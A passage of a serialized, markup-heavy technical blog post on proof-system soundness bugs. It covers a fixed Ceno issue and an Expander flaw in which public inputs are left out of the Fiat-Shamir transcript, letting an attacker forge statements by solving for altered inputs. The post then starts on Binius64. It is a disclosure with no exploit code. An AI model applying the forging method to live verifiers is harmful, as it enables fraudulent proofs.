bilinear:",{"type":23,"tag":116,"props":119114,"children":119115},{},[119116,119443],{"type":23,"tag":120,"props":119117,"children":119118},{},[119119,119121],{"type":29,"value":119120},"Linear (from GKR): ",{"type":23,"tag":38,"props":119122,"children":119124},{"className":119123},[2658,2659],[119125],{"type":23,"tag":141,"props":119126,"children":119128},{"className":119127},[2664],[119129],{"type":23,"tag":141,"props":119130,"children":119132},{"className":119131,"ariaHidden":2670},[2669],[119133,119269,119404,119430],{"type":23,"tag":141,"props":119134,"children":119136},{"className":119135},[2675],[119137,119142,119199,119256,119260,119265],{"type":23,"tag":141,"props":119138,"children":119141},{"className":119139,"style":119140},[2680],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":141,"props":119143,"children":119145},{"className":119144},[2686],[119146,119151],{"type":23,"tag":141,"props":119147,"children":119149},{"className":119148},[2686,20260],[119150],{"type":29,"value":55},{"type":23,"tag":141,"props":119152,"children":119154},{"className":119153},[2702],[119155],{"type":23,"tag":141,"props":119156,"children":119158},{"className":119157},[2707,20314],[119159,119188],{"type":23,"tag":141,"props":119160,"children":119162},{"className":119161},[2712],[119163,119183],{"type":23,"tag":141,"props":119164,"children":119166},{"className":119165,"style":91584},[2717],[119167],{"type":23,"tag":141,"props":119168,"children":119169},{"style":91588},[119170,119174],{"type":23,"tag":141,"props":119171,"children":119173},{"className":119172,"style":2727},[2726],[],{"type":23,"tag":141,"props":119175,"children":119177},{"className":119176},[2732,2733,2734,2735],[119178],{"type":23,"tag":141,"props":119179,"children":119181},{"className":119180},[2686,2735],[119182],{"type":29,"value":2698},{"type":23,"tag":141,"props":119184,"children":119186},{"className":119185},[20417],[119187],{"type":29,"value":20420},{"type":23,"tag":141,"props":119189,"children":119191},{"className":119190},[2712],[119192],{"type":23,"tag":141,"props":119193,"children":119195},{"className":119194,"style":91615},[2717],[119196],{"type":23,"tag":141,"props":119197,"children":119198},{},[],{"type":23,"tag":141,"props":119200,"children":119202},{"className":119201},[2686],[119203,119208],{"type":23,"tag":141,"props":119204,"children":119206},{"className":119205},[2686,20260],[119207],{"type":29,"value":17947},{"type":23,"tag":141,"props":119209,"children":119211},{"className":119210},[2702],[119212],{"type":23,"tag":141,"props":119213,"children":119215},{"className":119214},[2707,20314],[119216,119245],{"type":23,"tag":141,"props":119217,"children":119219},{"className":119218},[2712],[119220,119240],{"type":23,"tag":141,"props":119221,"children":119223},{"className":119222,"style":91584},[2717],[119224],{"type":23,"tag":141,"props":119225,"children":119226},{"style":91588},[119227,119231],{"type":23,"tag":141,"props":119228,"children":119230},{"className":119229,"style":2727},[2726],[],{"type":23,"tag":141,"props":119232,"children":119234},{"className":119233},[2732,2733,2734,2735],[119235],{"type":23,"tag":141,"props":119236,"children":119238},{"className":119237},[2686,2735],[119239],{"type":29,"value":2698},{"type":23,"tag":141,"props":119241,"children":119243},{"className":119242},[20417],[119244],{"type":29,"value":20420},{"type":23,"tag":141,"props":119246,"children":119248},{"className":119247},[2712],[119249],{"type":23,"tag":141,"props":119250,"children":119252},{"className":119251,"style":91615},[2717],[119253],{"type":23,"tag":141,"props":119254,"children":119255},{},[],{"type":23,"tag":141,"props":119257,"children":119259},{"className":119258,"style":2767},[2766],[],{"type":23,"tag":141,"props":119261,"children":119263},{"className":119262},[2772],[119264],{"type":29,"value":3058},{"type":23,"tag":141,"props":119266,"children":119268},{"className":119267,"style":2767},[2766],[],{"type":23,"tag":141,"props":119270,"children":119272},{"className":119271},[2675],[119273,119277,119334,119391,119395,119400],{"type":23,"tag":141,"props":119274,"children":119276},{"className":119275,"style":119140},[2680],[],{"type":23,"tag":141,"props":119278,"children":119280},{"className":119279},[2686],[119281,119286],{"type":23,"tag":141,"props":119282,"children":119284},{"className":119283},[2686,20260],[119285],{"type":29,"value":55},{"type":23,"tag":141,"props":119287,"children":119289},{"className":119288},[2702],[119290],{"type":23,"tag":141,"props":119291,"children":119293},{"className":119292},[2707,20314],[119294,119323],{"type":23,"tag":141,"props":119295,"children":119297},{"className":119296},[2712],[119298,119318],{"type":23,"tag":141,"props":119299,"children":119301},{"className":119300,"style":91584},[2717],[119302],{"type":23,"tag":141,"props":119303,"children":119304},{"style":91588},[119305,119309],{"type":23,"tag":141,"props":119306,"children":119308},{"className":119307,"style":2727},[2726],[],{"type":23,"tag":141,"props":119310,"children":119312},{"className":119311},[2732,2733,2734,2735],[119313],{"type":23,"tag":141,"props":119314,"children":119316},{"className":119315},[2686,2735],[119317],{"type":29,"value":687},{"type":23,"tag":141,"props":119319,"children":119321},{"className":119320},[20417],[119322],{"type":29,"value":20420},{"type":23,"tag":141,"props":119324,"children":119326},{"className":119325},[2712],[119327],{"type":23,"tag":141,"props":119328,"children":119330},{"className":119329,"style":91615},[2717],[119331],{"type":23,"tag":141,"props":119332,"children":119333},{},[],{"type":23,"tag":141,"props":119335,"children":119337},{"className":119336},[2686],[119338,119343],{"type":23,"tag":141,"props":119339,"children":119341},{"className":119340},[2686,20260],[119342],{"type":29,"value":17947},{"type":23,"tag":141,"props":119344,"children":119346},{"className":119345},[2702],[119347],{"type":23,"tag":141,"props":119348,"children":119350},{"className":119349},[2707,20314],[119351,119380],{"type":23,"tag":141,"props":119352,"children":119354},{"className":119353},[2712],[119355,119375],{"type":23,"tag":141,"props":119356,"children":119358},{"className":119357,"style":91584},[2717],[119359],{"type":23,"tag":141,"props":119360,"children":119361},{"style":91588},[119362,119366],{"type":23,"tag":141,"props":119363,"children":119365},{"className":119364,"style":2727},[2726],[],{"type":23,"tag":141,"props":119367,"children":119369},{"className":119368},[2732,2733,2734,2735],[119370],{"type":23,"tag":141,"props":119371,"children":119373},{"className":119372},[2686,2735],[119374],{"type":29,"value":687},{"type":23,"tag":141,"props":119376,"children":119378},{"className":119377},[20417],[119379],{"type":29,"value":20420},{"type":23,"tag":141,"props":119381,"children":119383},{"className":119382},[2712],[119384],{"type":23,"tag":141,"props":119385,"children":119387},{"className":119386,"style":91615},[2717],[119388],{"type":23,"tag":141,"props":119389,"children":119390},{},[],{"type":23,"tag":141,"props":119392,"children":119394},{"className":119393,"style":2767},[2766],[],{"type":23,"tag":141,"props":119396,"children":119398},{"className":119397},[2772],[119399],{"type":29,"value":3058},{"type":23,"tag":141,"props":119401,"children":119403},{"className":119402,"style":2767},[2766],[],{"type":23,"tag":141,"props":119405,"children":119407},{"className":119406},[2675],[119408,119412,119417,119421,119426],{"type":23,"tag":141,"props":119409,"children":119411},{"className":119410,"style":109373},[2680],[],{"type":23,"tag":141,"props":119413,"children":119415},{"className":119414},[2686,20260],[119416],{"type":29,"value":1807},{"type":23,"tag":141,"props":119418,"children":119420},{"className":119419,"style":2863},[2766],[],{"type":23,"tag":141,"props":119422,"children":119424},{"className":119423},[2868],[119425],{"type":29,"value":1377},{"type":23,"tag":141,"props":119427,"children":119429},{"className":119428,"style":2863},[2766],[],{"type":23,"tag":141,"props":119431,"children":119433},{"className":119432},[2675],[119434,119438],{"type":23,"tag":141,"props":119435,"children":119437},{"className":119436,"style":92563},[2680],[],{"type":23,"tag":141,"props":119439,"children":119441},{"className":119440},[2686],[119442],{"type":29,"value":2698},{"type":23,"tag":120,"props":119444,"children":119445},{},[119446,119448],{"type":29,"value":119447},"Bilinear (from multiset): ",{"type":23,"tag":38,"props":119449,"children":119451},{"className":119450},[2658,2659],[119452],{"type":23,"tag":141,"props":119453,"children":119455},{"className":119454},[2664],[119456],{"type":23,"tag":141,"props":119457,"children":119459},{"className":119458,"ariaHidden":2670},[2669],[119460,119486,119564,119642,119668],{"type":23,"tag":141,"props":119461,"children":119463},{"className":119462},[2675],[119464,119468,119473,119477,119482],{"type":23,"tag":141,"props":119465,"children":119467},{"className":119466,"style":91447},[2680],[],{"type":23,"tag":141,"props":119469,"children":119471},{"className":119470,"style":92961},[2686,20260],[119472],{"type":29,"value":87169},{"type":23,"tag":141,"props":119474,"children":119476},{"className":119475,"style":2767},[2766],[],{"type":23,"tag":141,"props":119478,"children":119480},{"className":119479},[2772],[119481],{"type":29,"value":109794},{"type":23,"tag":141,"props":119483,"children":119485},{"className":119484,"style":2767},[2766],[],{"type":23,"tag":141,"props":119487,"children":119489},{"className":119488},[2675],[119490,119494,119551,119555,119560],{"type":23,"tag":141,"props":119491,"children":119493},{"className":119492,"style":118586},[2680],[],{"type":23,"tag":141,"props":119495,"children":119497},{"className":119496},[2686],[119498,119503],{"type":23,"tag":141,"props":119499,"children":119501},{"className":119500},[2686,20260],[119502],{"type":29,"value":17947},{"type":23,"tag":141,"props":119504,"children":119506},{"className":119505},[2702],[119507],{"type":23,"tag":141,"props":119508,"children":119510},{"className":119509},[2707,20314],[119511,119540],{"type":23,"tag":141,"props":119512,"children":119514},{"className":119513},[2712],[119515,119535],{"type":23,"tag":141,"props":119516,"children":119518},{"className":119517,"style":91584},[2717],[119519],{"type":23,"tag":141,"props":119520,"children":119521},{"style":91588},[119522,119526],{"type":23,"tag":141,"props":119523,"children":119525},{"className":119524,"style":2727},[2726],[],{"type":23,"tag":141,"props":119527,"children":119529},{"className":119528},[2732,2733,2734,2735],[119530],{"type":23,"tag":141,"props":119531,"children":119533},{"className":119532},[2686,2735],[119534],{"type":29,"value":2698},{"type":23,"tag":141,"props":119536,"children":119538},{"className":119537},[20417],[119539],{"type":29,"value":20420},{"type":23,"tag":141,"props":119541,"children":119543},{"className":119542},[2712],[119544],{"type":23,"tag":141,"props":119545,"children":119547},{"className":119546,"style":91615},[2717],[119548],{"type":23,"tag":141,"props":119549,"children":119550},{},[],{"type":23,"tag":141,"props":119552,"children":119554},{"className":119553,"style":2767},[2766],[],{"type":23,"tag":141,"props":119556,"children":119558},{"className":119557},[2772],[119559],{"type":29,"value":109794},{"type":23,"tag":141,"props":119561,"children":119563},{"className":119562,"style":2767},[2766],[],{"type":23,"tag":141,"props":119565,"children":119567},{"className":119566},[2675],[119568,119572,119629,119633,119638],{"type":23,"tag":141,"props":119569,"children":119571},{"className":119570,"style":119140},[2680],[],{"type":23,"tag":141,"props":119573,"children":119575},{"className":119574},[2686],[119576,119581],{"type":23,"tag":141,"props":119577,"children":119579},{"className":119578},[2686,20260],[119580],{"type":29,"value":17947},{"type":23,"tag":141,"props":119582,"children":119584},{"className":119583},[2702],[119585],{"type":23,"tag":141,"props":119586,"children":119588},{"className":119587},[2707,20314],[119589,119618],{"type":23,"tag":141,"props":119590,"children":119592},{"className":119591},[2712],[119593,119613],{"type":23,"tag":141,"props":119594,"children":119596},{"className":119595,"style":91584},[2717],[119597],{"type":23,"tag":141,"props":119598,"children":119599},{"style":91588},[119600,119604],{"type":23,"tag":141,"props":119601,"children":119603},{"className":119602,"style":2727},[2726],[],{"type":23,"tag":141,"props":119605,"children":119607},{"className":119606},[2732,2733,2734,2735],[119608],{"type":23,"tag":141,"props":119609,"children":119611},{"className":119610},[2686,2735],[119612],{"type":29,"value":687},{"type":23,"tag":141,"props":119614,"children":119616},{"className":119615},[20417],[119617],{"type":29,"value":20420},{"type":23,"tag":141,"props":119619,"children":119621},{"className":119620},[2712],[119622],{"type":23,"tag":141,"props":119623,"children":119625},{"className":119624,"style":91615},[2717],[119626],{"type":23,"tag":141,"props":119627,"children":119628},{},[],{"type":23,"tag":141,"props":119630,"children":119632},{"className":119631,"style":2767},[2766],[],{"type":23,"tag":141,"props":119634,"children":119636},{"className":119635},[2772],[119637],{"type":29,"value":3058},{"type":23,"tag":141,"props":119639,"children":119641},{"className":119640,"style":2767},[2766],[],{"type":23,"tag":141,"props":119643,"children":119645},{"className":119644},[2675],[119646,119650,119655,119659,119664],{"type":23,"tag":141,"props":119647,"children":119649},{"className":119648,"style":91447},[2680],[],{"type":23,"tag":141,"props":119651,"children":119653},{"className":119652},[2686,20260],[119654],{"type":29,"value":69047},{"type":23,"tag":141,"props":119656,"children":119658},{"className":119657,"style":2863},[2766],[],{"type":23,"tag":141,"props":119660,"children":119662},{"className":119661},[2868],[119663],{"type":29,"value":1377},{"type":23,"tag":141,"props":119665,"children":119667},{"className":119666,"style":2863},[2766],[],{"type":23,"tag":141,"props":119669,"children":119671},{"className":119670},[2675],[119672,119676],{"type":23,"tag":141,"props":119673,"children":119675},{"className":119674,"style":92563},[2680],[],{"type":23,"tag":141,"props":119677,"children":119679},{"className":119678},[2686],[119680],{"type":29,"value":2698},{"type":23,"tag":32,"props":119682,"children":119683},{},[119684],{"type":29,"value":119685},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":32,"props":119687,"children":119688},{},[119689,119693,119695,119702,119704,119711],{"type":23,"tag":3998,"props":119690,"children":119691},{},[119692],{"type":29,"value":115242},{"type":29,"value":119694}," Fixed on March 5, 2026 via ",{"type":23,"tag":55,"props":119696,"children":119699},{"href":119697,"rel":119698},"https://github.com/scroll-tech/ceno/pull/1262",[59],[119700],{"type":29,"value":119701},"PR #1262",{"type":29,"value":119703}," (original report: ",{"type":23,"tag":55,"props":119705,"children":119708},{"href":119706,"rel":119707},"https://github.com/scroll-tech/ceno/issues/1125",[59],[119709],{"type":29,"value":119710},"#1125",{"type":29,"value":1788},{"type":23,"tag":17463,"props":119713,"children":119714},{},[],{"type":23,"tag":8287,"props":119716,"children":119718},{"id":119717},"expander-polyhedra",[119719],{"type":29,"value":119720},"Expander (Polyhedra)",{"type":23,"tag":32,"props":119722,"children":119723},{},[119724],{"type":29,"value":119725},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":32,"props":119727,"children":119728},{},[119729],{"type":23,"tag":3998,"props":119730,"children":119731},{},[119732],{"type":29,"value":113948},{"type":23,"tag":131,"props":119734,"children":119736},{"code":119735},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[119737],{"type":23,"tag":38,"props":119738,"children":119739},{"__ignoreMap":7},[119740],{"type":29,"value":119735},{"type":23,"tag":32,"props":119742,"children":119743},{},[119744,119746,119752],{"type":29,"value":119745},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":38,"props":119747,"children":119749},{"className":119748},[],[119750],{"type":29,"value":119751},"eval_cst",{"type":29,"value":119753}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":131,"props":119755,"children":119757},{"code":119756,"language":1638,"meta":7,"className":1639,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[119758],{"type":23,"tag":38,"props":119759,"children":119760},{"__ignoreMap":7},[119761],{"type":23,"tag":141,"props":119762,"children":119763},{"class":143,"line":144},[119764,119768,119773,119778,119782,119786,119790,119794,119799,119803,119808,119813,119817,119822],{"type":23,"tag":141,"props":119765,"children":119766},{"style":750},[119767],{"type":29,"value":75117},{"type":23,"tag":141,"props":119769,"children":119770},{"style":160},[119771],{"type":29,"value":119772}," -=",{"type":23,"tag":141,"props":119774,"children":119775},{"style":725},[119776],{"type":29,"value":119777}," GKRVerifierHelper",{"type":23,"tag":141,"props":119779,"children":119780},{"style":160},[119781],{"type":29,"value":2141},{"type":23,"tag":141,"props":119783,"children":119784},{"style":184},[119785],{"type":29,"value":119751},{"type":23,"tag":141,"props":119787,"children":119788},{"style":154},[119789],{"type":29,"value":192},{"type":23,"tag":141,"props":119791,"children":119792},{"style":160},[119793],{"type":29,"value":1770},{"type":23,"tag":141,"props":119795,"children":119796},{"style":750},[119797],{"type":29,"value":119798},"layer",{"type":23,"tag":141,"props":119800,"children":119801},{"style":160},[119802],{"type":29,"value":322},{"type":23,"tag":141,"props":119804,"children":119805},{"style":154},[119806],{"type":29,"value":119807},"const_, ",{"type":23,"tag":141,"props":119809,"children":119810},{"style":750},[119811],{"type":29,"value":119812},"public_input",{"type":23,"tag":141,"props":119814,"children":119815},{"style":154},[119816],{"type":29,"value":480},{"type":23,"tag":141,"props":119818,"children":119819},{"style":750},[119820],{"type":29,"value":119821},"sp",{"type":23,"tag":141,"props":119823,"children":119824},{"style":154},[119825],{"type":29,"value":2496},{"type":23,"tag":32,"props":119827,"children":119828},{},[119829,119831,119836],{"type":29,"value":119830},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":38,"props":119832,"children":119834},{"className":119833},[],[119835],{"type":29,"value":119821},{"type":29,"value":19414},{"type":23,"tag":32,"props":119838,"children":119839},{},[119840],{"type":23,"tag":3998,"props":119841,"children":119842},{},[119843],{"type":29,"value":119844},"The vulnerability:",{"type":23,"tag":32,"props":119846,"children":119847},{},[119848,119853],{"type":23,"tag":38,"props":119849,"children":119851},{"className":119850},[],[119852],{"type":29,"value":119812},{"type":29,"value":119854}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":32,"props":119856,"children":119857},{},[119858],{"type":23,"tag":2591,"props":119859,"children":119862},{"alt":119860,"src":119861},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":32,"props":119864,"children":119865},{},[119866,119867,119872],{"type":29,"value":388},{"type":23,"tag":38,"props":119868,"children":119870},{"className":119869},[],[119871],{"type":29,"value":119751},{"type":29,"value":119873}," function computes a linear combination:",{"type":23,"tag":32,"props":119875,"children":119876},{},[119877],{"type":23,"tag":38,"props":119878,"children":119880},{"className":119879},[2658,2659],[119881],{"type":23,"tag":141,"props":119882,"children":119884},{"className":119883},[2664],[119885],{"type":23,"tag":141,"props":119886,"children":119888},{"className":119887,"ariaHidden":2670},[2669],[119889,119934,120058],{"type":23,"tag":141,"props":119890,"children":119892},{"className":119891},[2675],[119893,119897,119906,119911,119921,119925,119930],{"type":23,"tag":141,"props":119894,"children":119896},{"className":119895,"style":92945},[2680],[],{"type":23,"tag":141,"props":119898,"children":119900},{"className":119899},[2686,29],[119901],{"type":23,"tag":141,"props":119902,"children":119904},{"className":119903},[2686],[119905],{"type":29,"value":36019},{"type":23,"tag":141,"props":119907,"children":119909},{"className":119908,"style":91532},[2686],[119910],{"type":29,"value":1743},{"type":23,"tag":141,"props":119912,"children":119914},{"className":119913},[2686,29],[119915],{"type":23,"tag":141,"props":119916,"children":119918},{"className":119917},[2686],[119919],{"type":29,"value":119920},"cst",{"type":23,"tag":141,"props":119922,"children":119924},{"className":119923,"style":2863},[2766],[],{"type":23,"tag":141,"props":119926,"children":119928},{"className":119927},[2868],[119929],{"type":29,"value":1377},{"type":23,"tag":141,"props":119931,"children":119933},{"className":119932,"style":2863},[2766],[],{"type":23,"tag":141,"props":119935,"children":119937},{"className":119936},[2675],[119938,119942,119999,120003,120030,120035,120040,120045,120049,120054],{"type":23,"tag":141,"props":119939,"children":119941},{"className":119940,"style":91474},[2680],[],{"type":23,"tag":141,"props":119943,"children":119945},{"className":119944},[20296],[119946,119951],{"type":23,"tag":141,"props":119947,"children":119949},{"className":119948,"style":20303},[20296,20301,20302],[119950],{"type":29,"value":107327},{"type":23,"tag":141,"props":119952,"children":119954},{"className":119953},[2702],[119955],{"type":23,"tag":141,"props":119956,"children":119958},{"className":119957},[2707,20314],[119959,119988],{"type":23,"tag":141,"props":119960,"children":119962},{"className":119961},[2712],[119963,119983],{"type":23,"tag":141,"props":119964,"children":119966},{"className":119965,"style":112739},[2717],[119967],{"type":23,"tag":141,"props":119968,"children":119969},{"style":20327},[119970,119974],{"type":23,"tag":141,"props":119971,"children":119973},{"className":119972,"style":2727},[2726],[],{"type":23,"tag":141,"props":119975,"children":119977},{"className":119976},[2732,2733,2734,2735],[119978],{"type":23,"tag":141,"props":119979,"children":119981},{"className":119980},[2686,20260,2735],[119982],{"type":29,"value":2404},{"type":23,"tag":141,"props":119984,"children":119986},{"className":119985},[20417],[119987],{"type":29,"value":20420},{"type":23,"tag":141,"props":119989,"children":119991},{"className":119990},[2712],[119992],{"type":23,"tag":141,"props":119993,"children":119995},{"className":119994,"style":113019},[2717],[119996],{"type":23,"tag":141,"props":119997,"children":119998},{},[],{"type":23,"tag":141,"props":120000,"children":120002},{"className":120001,"style":2804},[2766],[],{"type":23,"tag":141,"props":120004,"children":120006},{"className":120005},[2686],[120007,120016,120021],{"type":23,"tag":141,"props":120008,"children":120010},{"className":120009},[2686,29],[120011],{"type":23,"tag":141,"props":120012,"children":120014},{"className":120013},[2686],[120015],{"type":29,"value":60156},{"type":23,"tag":141,"props":120017,"children":120019},{"className":120018,"style":91532},[2686],[120020],{"type":29,"value":1743},{"type":23,"tag":141,"props":120022,"children":120024},{"className":120023},[2686,29],[120025],{"type":23,"tag":141,"props":120026,"children":120028},{"className":120027},[2686],[120029],{"type":29,"value":7042},{"type":23,"tag":141,"props":120031,"children":120033},{"className":120032},[20389],[120034],{"type":29,"value":2399},{"type":23,"tag":141,"props":120036,"children":120038},{"className":120037},[2686,20260],[120039],{"type":29,"value":2404},{"type":23,"tag":141,"props":120041,"children":120043},{"className":120042},[20411],[120044],{"type":29,"value":14088},{"type":23,"tag":141,"props":120046,"children":120048},{"className":120047,"style":2767},[2766],[],{"type":23,"tag":141,"props":120050,"children":120052},{"className":120051},[2772],[120053],{"type":29,"value":109794},{"type":23,"tag":141,"props":120055,"children":120057},{"className":120056,"style":2767},[2766],[],{"type":23,"tag":141,"props":120059,"children":120061},{"className":120060},[2675],[120062,120066,120075,120080,120085,120090,120094,120143],{"type":23,"tag":141,"props":120063,"children":120065},{"className":120064,"style":2787},[2680],[],{"type":23,"tag":141,"props":120067,"children":120069},{"className":120068},[2686,29],[120070],{"type":23,"tag":141,"props":120071,"children":120073},{"className":120072},[2686],[120074],{"type":29,"value":111121},{"type":23,"tag":141,"props":120076,"children":120078},{"className":120077},[20389],[120079],{"type":29,"value":192},{"type":23,"tag":141,"props":120081,"children":120083},{"className":120082},[2686,20260],[120084],{"type":29,"value":2404},{"type":23,"tag":141,"props":120086,"children":120088},{"className":120087},[2798],[120089],{"type":29,"value":512},{"type":23,"tag":141,"props":120091,"children":120093},{"className":120092,"style":2804},[2766],[],{"type":23,"tag":141,"props":120095,"children":120097},{"className":120096},[2686,110681],[120098],{"type":23,"tag":141,"props":120099,"children":120101},{"className":120100},[2707],[120102],{"type":23,"tag":141,"props":120103,"children":120105},{"className":120104},[2712],[120106],{"type":23,"tag":141,"props":120107,"children":120109},{"className":120108,"style":110767},[2717],[120110,120122],{"type":23,"tag":141,"props":120111,"children":120112},{"style":110698},[120113,120117],{"type":23,"tag":141,"props":120114,"children":120116},{"className":120115,"style":110703},[2726],[],{"type":23,"tag":141,"props":120118,"children":120120},{"className":120119,"style":91532},[2686,20260],[120121],{"type":29,"value":92351},{"type":23,"tag":141,"props":120123,"children":120124},{"style":110698},[120125,120129],{"type":23,"tag":141,"props":120126,"children":120128},{"className":120127,"style":110703},[2726],[],{"type":23,"tag":141,"props":120130,"children":120132},{"className":120131,"style":110791},[110721],[120133],{"type":23,"tag":141,"props":120134,"children":120136},{"className":120135,"style":110797},[110796],[120137],{"type":23,"tag":32743,"props":120138,"children":120139},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[120140],{"type":23,"tag":110809,"props":120141,"children":120142},{"d":110811},[],{"type":23,"tag":141,"props":120144,"children":120146},{"className":120145},[20411],[120147],{"type":29,"value":1788},{"type":23,"tag":32,"props":120149,"children":120150},{},[120151,120152,120221,120223,120228,120230,120235],{"type":29,"value":114368},{"type":23,"tag":38,"props":120153,"children":120155},{"className":120154},[2658,2659],[120156],{"type":23,"tag":141,"props":120157,"children":120159},{"className":120158},[2664],[120160],{"type":23,"tag":141,"props":120161,"children":120163},{"className":120162,"ariaHidden":2670},[2669],[120164],{"type":23,"tag":141,"props":120165,"children":120167},{"className":120166},[2675],[120168,120172],{"type":23,"tag":141,"props":120169,"children":120171},{"className":120170,"style":110767},[2680],[],{"type":23,"tag":141,"props":120173,"children":120175},{"className":120174},[2686,110681],[120176],{"type":23,"tag":141,"props":120177,"children":120179},{"className":120178},[2707],[120180],{"type":23,"tag":141,"props":120181,"children":120183},{"className":120182},[2712],[120184],{"type":23,"tag":141,"props":120185,"children":120187},{"className":120186,"style":110767},[2717],[120188,120200],{"type":23,"tag":141,"props":120189,"children":120190},{"style":110698},[120191,120195],{"type":23,"tag":141,"props":120192,"children":120194},{"className":120193,"style":110703},[2726],[],{"type":23,"tag":141,"props":120196,"children":120198},{"className":120197,"style":91532},[2686,20260],[120199],{"type":29,"value":92351},{"type":23,"tag":141,"props":120201,"children":120202},{"style":110698},[120203,120207],{"type":23,"tag":141,"props":120204,"children":120206},{"className":120205,"style":110703},[2726],[],{"type":23,"tag":141,"props":120208,"children":120210},{"className":120209,"style":110791},[110721],[120211],{"type":23,"tag":141,"props":120212,"children":120214},{"className":120213,"style":110797},[110796],[120215],{"type":23,"tag":32743,"props":120216,"children":120217},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[120218],{"type":23,"tag":110809,"props":120219,"children":120220},{"d":110811},[],{"type":29,"value":120222}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":38,"props":120224,"children":120226},{"className":120225},[],[120227],{"type":29,"value":119812},{"type":29,"value":120229},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":38,"props":120231,"children":120233},{"className":120232},[],[120234],{"type":29,"value":119812},{"type":29,"value":120236}," that makes the verifier's check pass.",{"type":23,"tag":32,"props":120238,"children":120239},{},[120240,120244,120246,120253,120254,120257,120264],{"type":23,"tag":3998,"props":120241,"children":120242},{},[120243],{"type":29,"value":115242},{"type":29,"value":120245}," Fixed on 21st January 2026 via ",{"type":23,"tag":55,"props":120247,"children":120250},{"href":120248,"rel":120249},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[59],[120251],{"type":29,"value":120252},"commit 4a8c2be",{"type":29,"value":45},{"type":23,"tag":29436,"props":120255,"children":120256},{},[],{"type":23,"tag":55,"props":120258,"children":120261},{"href":120259,"rel":120260},"https://blog.polyhedra.network/expander-bug-bounty/",[59],[120262],{"type":29,"value":120263},"Claimed 500k Bug bounty",{"type":29,"value":120265}," award pending",{"type":23,"tag":17463,"props":120267,"children":120268},{},[],{"type":23,"tag":8287,"props":120270,"children":120272},{"id":120271},"binius64",[120273],{"type":29,"value":106375},{"type":23,"tag":32,"props":120275,"children":120276},{},[120277,120279,120406],{"type":29,"value":120278},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":38,"props":120280,"children":120282},{"className":120281},[2658,2659],[120283],{"type":23,"tag":141,"props":120284,"children":120286},{"className":120285},[2664],[120287],{"type":23,"tag":141,"props":120288,"children":120290},{"className":120289,"ariaHidden":2670},[2669],[120291],{"type":23,"tag":141,"props":120292,"children":120294},{"className":120293},[2675],[120295,120300],{"type":23,"tag":141,"props":120296,"children":120299},{"className":120297,"style":120298},[2680],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":141,"props":120301,"children":120303},{"className":120302},[2686],[120304,120311],{"type":23,"tag":141,"props":120305,"children":120308},{"className":120306},[2686,120307],"mathbb",[120309],{"type":29,"value":120310},"F",{"type":23,"tag":141,"props":120312,"children":120314},{"className":120313},[2702],[120315],{"type":23,"tag":141,"props":120316,"children":120318},{"className":120317},[2707,20314],[120319,120394],{"type":23,"tag":141,"props":120320,"children":120322},{"className":120321},[2712],[120323,120389],{"type":23,"tag":141,"props":120324,"children":120326},{"className":120325,"style":110864},[2717],[120327],{"type":23,"tag":141,"props":120328,"children":120330},{"style":120329},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[120331,120335],{"type":23,"tag":141,"props":120332,"children":120334},{"className":120333,"style":2727},[2726],[],{"type":23,"tag":141,"props":120336,"children":120338},{"className":120337},[2732,2733,2734,2735],[120339],{"type":23,"tag":141,"props":120340,"children":120342},{"className":120341},[2686,2735],[120343],{"type":23,"tag":141,"props":120344,"children":120346},{"className":120345},[2686,2735],[120347,120352],{"type":23,"tag":141,"props":120348,"children":120350},{"className":120349},[2686,2735],[120351],{"type":29,"value":1049},{"type":23,"tag":141,"props":120353,"children":120355},{"className":120354},[2702],[120356],{"type":23,"tag":141,"props":120357,"children":120359},{"className":120358},[2707],[120360],{"type":23,"tag":141,"props":120361,"children":120363},{"className":120362},[2712],[120364],{"type":23,"tag":141,"props":120365,"children":120368},{"className":120366,"style":120367},[2717],"height:0.7463em;",[120369],{"type":23,"tag":141,"props":120370,"children":120371},{"style":110989},[120372,120376],{"type":23,"tag":141,"props":120373,"children":120375},{"className":120374,"style":107392},[2726],[],{"type":23,"tag":141,"props":120377,"children":120379},{"className":120378},[2732,107397,107398,2735],[120380],{"type":23,"tag":141,"props":120381,"children":120383},{"className":120382},[2686,2735],[120384],{"type":23,"tag":141,"props":120385,"children":120387},{"className":120386},[2686,2735],[120388],{"type":29,"value":919},{"type":23,"tag":141,"props":120390,"children":120392},{"className":120391},[20417],[120393],{"type":29,"value":20420},{"type":23,"tag":141,"props":120395,"children":120397},{"className":120396},[2712],[120398],{"type":23,"tag":141,"props":120399,"children":120402},{"className":120400,"style":120401},[2717],"height:0.1776em;",[120403],{"type":23,"tag":141,"props":120404,"children":120405},{},[],{"type":29,"value":120407}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":32,"props":120409,"children":120410},{},[120411,120413,120418],{"type":29,"value":120412},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":3998,"props":120414,"children":120415},{},[120416],{"type":29,"value":120417},"Shift Protocol",{"type":29,"value":120419}," 